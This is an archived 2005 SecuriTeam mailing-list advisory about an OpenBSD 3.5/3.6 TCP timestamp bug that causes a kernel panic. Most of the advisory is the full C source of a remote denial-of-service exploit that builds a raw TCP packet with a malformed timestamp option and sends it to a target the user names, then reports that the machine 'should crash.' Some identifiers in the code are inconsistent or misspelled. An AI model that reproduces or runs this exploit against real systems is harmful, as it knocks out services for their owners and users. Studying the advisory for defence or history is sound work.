

[EXPL] OpenBSD TCP TIMESTAMP Remote DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0067.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/15/05

To: list@securiteam.com

Date: 15 Mar 2005 16:20:11 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

OpenBSD TCP TIMESTAMP Remote DoS

SUMMARY

A bug in the OpenBSD's TCP stack allows an invalid argument to be used in calculating the TCP retransmit timeout. By sending packets with specific values in the TCP TIMESTAMP option, an attacker can cause a system panic.

DETAILS

Vulnerable Systems:

- * OpenBSD version 3.5
- * OpenBSD version 3.6

Exploit:

```
#define _BSD_SOURCE
```

```
#include <stdio.h>
```

```
#include <ctype.h>
```

```
#include <sys/socket.h>
```

```
#include <netinet/in.h>
```

```
#include <netinet/in_system.h>
```

```
#include <netinet/ip.h>
```

```
#include <netinet/tcp.h>
```

```
#include <sysexits.h>
```

Securiteam: [EXPL] OpenBSD TCP TIMESTAMP Remote DoS

```
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
/* edited by /str0ke ! milw0rm.com to compile under linux */
#ifndef TCPOPTLEN
#define TCPOPTLEN 12
#endif
#define UMASK 0xffff
#define TIMESTAMP 0x7b000000 // 123 in hex – change it, this will probably
help
// ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.6/common/010\_rtt.patch

/*
ANY MODIFIED REPUBLISHING IS RESTRICTED
OpenBSD 2.0 – 3.6 Remote DoS Exploit
Tested under OpenBSD 3.6 at OpenBSD 3.5/3.6
Vuln by OpenBSD errata, http://www.openbsd.org/errata.html
(c)oded by __blf 2005 RusH Security Team, http://rst.void.ru
Public version – change TimeStamp to cause System Crash
Gr33tz: zZz, Phoenix, MishaSt, Inck–Vizitor, BlackPrince
Fuck lamerz: Saint_I, nmalykh, Mr.Clumsy, RooD aka MapycyA
All rights reserved.
ANY MODIFIED REPUBLISHING IS RESTRICTED
*/

u_short checksum(unsigned short * addr, int len)
{
u_int32_t cksum = 0;
while(len > 0)
{
cksum += *addr++;
len -= 2;
}
if(len == 0)
{
cksum += *(u_char *)addr;
}
cksum = (cksum >> 16) + (cksum & UMASK);
cksum = cksum + (cksum >> 16);
return (~cksum);
}

int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct ip * iph;
struct tcphdr * teph;
struct _pseudoheader {
struct in_addr src_addr;
struct in_addr dest_addr;
```

```

u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
u_char * packet;
u_char * pseudopacket;
int mysock;
int on = 1;
u_char * ts; u_int32_t val = TIMESTAMP;
if( argc != 4)
{
fprintf(stderr, "r57obsd-dos.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <source ip> <dest ip> <dest port>\n", argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr) +
TCPOPTLEN)) == NULL)
{
perror("malloc");
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[2], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr) +
TCPOPTLEN);
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *) (packet + sizeof(struct ip));
tcph->th_sport = htons(rand()); // just random
tcph->th_dport = htons(atoi(argv[3]));
tcph->th_seq = htonl(rand());
tcph->th_ack = htonl(rand());
tcph->th_off = 5 + (TCPOPTLEN >> 2);
tcph->th_flags = TH_ACK;
tcph->th_win = htons(512);
tcph->th_urp = 0;
ts = (unsigned char *) (packet + sizeof(struct ip) + sizeof(struct
tcphdr));
ts[0] = ts[1] = 1;
ts[2] = 8;
ts[3] = 10;
memcpy(ts+4, &val, 4);

```

Securiteam: [EXPL] OpenBSD TCP TIMESTAMP Remote DoS

```
memset(ts+8, 0, 4);
pseudoheader.src_addr = src;
pseudoheader.dest_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr) + TCPOPTLEN);
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct
tcphdr) + TCPOPTLEN)) == NULL)
{
perror("malloc()");
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip),
sizeof(struct tcphdr) + TCPOPTLEN);
tcp->th_sum = checksum((unsigned short *)pseudopacket,
sizeof(pseudoheader) + sizeof(struct tcphdr) + TCPOPTLEN);
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror("socket!\n");
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) ==
-1)
{
perror("setsockopt");
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(atoi(argv[3])); // doesn't really matter
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr) +
TCPOPTLEN, 0, (struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("sendto()\n");
shutdown(mysock, 2);
return EX_NOHOST;
}
printf("Packet sent. Remote machine should crash.\n");
shutdown(mysock, 2);
return EX_OK;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:roman@rs-labs.com>> RusH.

The original article can be found at:

<<http://rst.void.ru/download/r57obsd-dos.c>>

<http://rst.void.ru/download/r57obsd-dos.c>

Securiteam: [EXPL] OpenBSD TCP TIMESTAMP Remote DoS

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.